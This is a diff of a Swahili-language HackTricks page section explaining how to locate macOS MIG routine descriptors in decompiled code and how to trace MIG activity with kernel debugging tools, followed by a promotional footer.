@ -351,7 +402,7 @@ r8 = 0x1;
var_4 = 0x0;
}
else {
// Wito kwenye anwani iliyohesabiwa ambapo kazi inapaswa kuwa
// Wito kwa anwani iliyohesabiwa ambapo kazi inapaswa kuwa
<strong> (var_20)(var_10, var_18);
</strong> var_4 = 0x1;
}
@ -375,13 +426,31 @@ return r0;
{% endtab %}
{% endtabs %}
Kwa kweli ikiwa unakwenda kwenye kazi **`0x100004000`** utapata safu ya **muundo wa maelekezo** ya kazi. Elementi ya kwanza ya muundo ni **anwani** ambapo **kazi** imefanywa, na **muundo unachukua 0x28 bytes**, kwa hivyo kila 0x28 bytes (kuanzia byte 0) unaweza kupata 8 bytes na hiyo itakuwa **anwani ya kazi** itakayoitwa:
Kwa kweli ikiwa unakwenda kwenye kazi **`0x100004000`** utapata safu ya **muundo wa maelezo ya kazi**. Elementi ya kwanza ya muundo ni **anwani** ambapo **kazi** imefanywa, na **muundo unachukua bytes 0x28**, kwa hivyo kila 0x28 bytes (kuanzia byte 0) unaweza kupata bytes 8 na hiyo itakuwa **anwani ya kazi** itakayoitwa:
<figure><img src="../../../../.gitbook/assets/image (35).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../.gitbook/assets/image (36).png" alt=""><figcaption></figcaption></figure>
Data hii inaweza kuchimbuliwa [**kwa kutumia script ya Hopper hii**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py).
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
Data hii inaweza kuchimbuliwa [**kwa kutumia skripti hii ya Hopper**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py).
### Kurekebisha
Msimbo uliotengenezwa na MIG pia huita `kernel_debug` ili kuzalisha machapisho kuhusu shughuli za kuingia na kutoka. Inawezekana kuzikagua kwa kutumia **`trace`** au **`kdv`**: `kdv all | grep MIG`
## Marejeo
* [\*OS Internals, Kijitabu cha Kwanza, Mode ya Mtumiaji, Jonathan Levin](https://www.amazon.com/MacOS-iOS-Internals-User-Mode/dp/099105556X)
<details>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>